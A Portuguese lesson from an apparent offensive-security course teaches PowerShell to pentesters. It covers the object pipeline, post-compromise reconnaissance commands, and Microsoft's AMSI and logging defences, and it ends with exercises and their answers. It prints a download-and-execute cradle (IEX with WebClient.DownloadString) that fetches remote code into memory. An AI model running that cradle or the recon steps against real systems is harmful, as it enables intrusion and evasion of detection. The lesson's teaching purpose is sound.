O mundo corporativo roda em Windows. Servidores de arquivo, estações de trabalho, e sobretudo o Active Directory — o sistema que gerencia usuários e permissões em praticamente toda empresa média ou grande — são território Windows. E a linguagem nativa desse território é o PowerShell. Dominá-lo é o que separa quem sabe atacar um laboratório Linux de quem sabe comprometer uma rede corporativa real. Esta aula te apresenta o PowerShell pela ótica ofensiva, preparando o terreno para o Bloco XI (Active Directory). Você o praticará numa VM Windows do seu laboratório.

Objetos, não texto

PowerShell é mais poderoso que o antigo prompt de comando por uma razão de design: ele trabalha com objetos, não com texto puro. Quando um comando lista processos, ele devolve objetos de processo, cada um com propriedades acessíveis (nome, ID, uso de memória), em vez de uma parede de texto que você teria de fatiar. Isso torna o encadeamento incrivelmente expressivo. Os comandos seguem o padrão Verbo-Substantivo, previsível e legível:

Get-Process                          # lista processos em execução
Get-Service                          # lista serviços
Get-ChildItem C:\Users               # equivale ao 'ls' — lista o conteúdo
Get-Content arquivo.txt              # equivale ao 'cat' — lê um arquivo

O pipe que passa objetos

Como no Bash, o pipe encadeia comandos — mas aqui ele passa objetos, permitindo filtrar por propriedades com precisão:

Get-Process | Where-Object { $_.CPU -gt 100 }        # processos consumindo muita CPU
Get-Service | Where-Object { $_.Status -eq "Running" } # apenas serviços ativos
Get-Process | Sort-Object CPU -Descending | Select-Object -First 5  # top 5 por CPU

O $_ representa "o objeto atual" passando pelo pipe. Essa capacidade de filtrar por propriedade (.Status, .CPU) sem parsing de texto é o que torna o PowerShell tão eficaz para reconhecimento — você extrai exatamente a informação que quer de estruturas complexas.

Reconhecimento local numa máquina recém-tomada

Para o pentester, o PowerShell brilha no reconhecimento local de uma máquina Windows recém-comprometida — o equivalente ao whoami/id/uname da aula Linux essencial: o terminal é a sua bancada, mas no mundo Windows. Um punhado de comandos revela o terreno:

whoami                               # qual usuário sou
whoami /priv                         # meus privilégios (crucial para escalação)
Get-LocalUser                        # usuários locais da máquina
Get-LocalGroupMember Administrators  # quem é administrador
systeminfo                           # informações do sistema (versão, patches instalados)
Get-NetIPConfiguration               # configuração de rede

O whoami /priv é para o Windows o que o sudo -l é para o Linux: revela privilégios que podem abrir caminho para escalação (aula Escalação de privilégios em Windows: tokens, serviços e SYSTEM). E o systeminfo, ao listar os patches instalados, permite cruzar com vulnerabilidades conhecidas para descobrir se a máquina está sem alguma correção crítica — o mesmo raciocínio de versão que vimos no banner grabbing.

Baixar e executar sem tocar o disco

Onde o PowerShell se torna verdadeiramente ofensivo é na sua capacidade de operar em rede e interagir com o sistema em profundidade. Ele pode baixar e executar código, consultar o Active Directory, mover-se entre máquinas. Um exemplo clássico — e é aqui que introduzo tanto o poder quanto a razão pela qual os defensores vigiam o PowerShell de perto — é a execução de código a partir da rede:

# padrão frequentemente usado para carregar ferramentas na memória
IEX (New-Object Net.WebClient).DownloadString('http://servidor/script.ps1')
#  ↑ IEX = Invoke-Expression: executa o texto baixado diretamente na memória

Esse padrão — baixar e executar em memória, sem tocar o disco — é poderoso porque dificulta a detecção baseada em arquivos. Justamente por isso, é um dos comportamentos mais monitorados pelo Blue Team, e nos leva diretamente à dimensão defensiva desta aula, que é incontornável.

AMSI, log e as defesas que a Microsoft cravou

A Microsoft, ciente de que o PowerShell virou a ferramenta predileta de atacantes, construiu defesas robustas em torno dele — e você precisa conhecê-las, porque metade do trabalho ofensivo moderno em Windows é lidar com elas. Há o AMSI (Antimalware Scan Interface), que inspeciona o conteúdo executado pelo PowerShell em busca de código malicioso, mesmo que carregado em memória. Há o script block logging, que registra os comandos executados, dando ao Blue Team uma trilha de auditoria rica. Há políticas de execução e o Constrained Language Mode, que limitam o que scripts podem fazer. Essas defesas são exatamente o motivo de existir o bloco de evasão do curso (aulas Evasão de antivírus: a corrida contra a detecção por assinatura a Frameworks de Comando e Controle (C2): a infraestrutura da operação): técnicas de bypass de AMSI e de ofuscação nasceram da corrida entre atacantes usando PowerShell e defensores blindando-o. Perceba o ciclo: o PowerShell é poderoso para o ataque, o que motivou defesas fortes, o que por sua vez gerou técnicas de evasão — uma escalada que define o tradecraft Windows moderno.

Viver da terra: a legitimidade como disfarce

O equilíbrio que quero que você absorva: PowerShell é uma ferramenta legítima e essencial de administração — administradores de sistema o usam o dia inteiro para o bem —, e é exatamente essa legitimidade que o torna atraente para o atacante, que se mistura ao tráfego normal ("living off the land", viver da terra, usando o que já existe no sistema em vez de trazer malware detectável — aula Evasão de EDR e Living off the Land: o estado da arte). Do lado defensivo, a resposta não é banir o PowerShell (impossível, é ferramenta de trabalho), mas vigiá-lo: ativar logging detalhado, monitorar padrões suspeitos como o IEX+download, e usar o AMSI. Com esta aula, você fecha a tríade de linguagens ofensivas do curso — Bash para o glue rápido, Python para construir ferramentas, PowerShell para operar em Windows. Na próxima, damos um passo atrás para entender os internals do Windows (processos, o registro, a estrutura de autenticação) antes de montarmos, enfim, o laboratório completo e começarmos a atacar de verdade.

Fontes e leituras recomendadas

  • PowerShell for Sysadmins — Adam Bertram (base sólida da linguagem)
  • Microsoft Docs — documentação oficial do PowerShell e do AMSI
  • HackTricks — seção de Windows/PowerShell para reconhecimento e pós-exploração
  • PowerShell ISE e VS Code — ambientes para escrever e testar scripts com segurança

Exercícios

  1. Por que se diz que o PowerShell trabalha com "objetos" e não com texto, e que vantagem prática isso traz no uso de pipes?

    ✓ Resposta:

    Porque os comandos retornam objetos com propriedades acessíveis (nome, status, CPU), em vez de texto puro. No pipe, isso permite filtrar e ordenar por propriedade específica (ex.: Where-Object { $_.Status -eq "Running" }) sem precisar fatiar texto manualmente.

  2. Qual comando revela seus privilégios atuais numa máquina Windows, e a que comando Linux ele é análogo em propósito?

    ✓ Resposta:

    whoami /priv. É análogo em propósito ao sudo -l do Linux: ambos revelam privilégios que podem abrir caminho para escalação.

  3. Como o systeminfo contribui para descobrir se uma máquina está vulnerável, e a que raciocínio já visto isso se conecta?

    ✓ Resposta:

    O systeminfo lista os patches instalados; cruzando-os com vulnerabilidades conhecidas, descobre-se se falta alguma correção crítica. Conecta-se ao raciocínio de identificar versão (banner grabbing) para localizar exploits aplicáveis.

  4. Explique o que o padrão IEX (New-Object Net.WebClient).DownloadString(...) faz e por que ele é tão vigiado pelo Blue Team.

    ✓ Resposta:

    Ele baixa um script da rede e o executa diretamente na memória, sem gravar em disco. É muito vigiado porque essa execução "fileless" dificulta a detecção baseada em arquivos, sendo um padrão típico de carregamento de ferramentas maliciosas.

  5. Cite duas defesas que a Microsoft construiu em torno do PowerShell e explique por que elas motivaram o surgimento das técnicas de evasão do curso.

    ✓ Resposta:

    Exemplos: AMSI (inspeciona conteúdo executado, mesmo em memória) e script block logging (registra os comandos executados); também políticas de execução e Constrained Language Mode. Elas motivaram as técnicas de evasão porque, ao tornar o PowerShell malicioso detectável, criaram a necessidade de bypass de AMSI e ofuscação para contorná-las.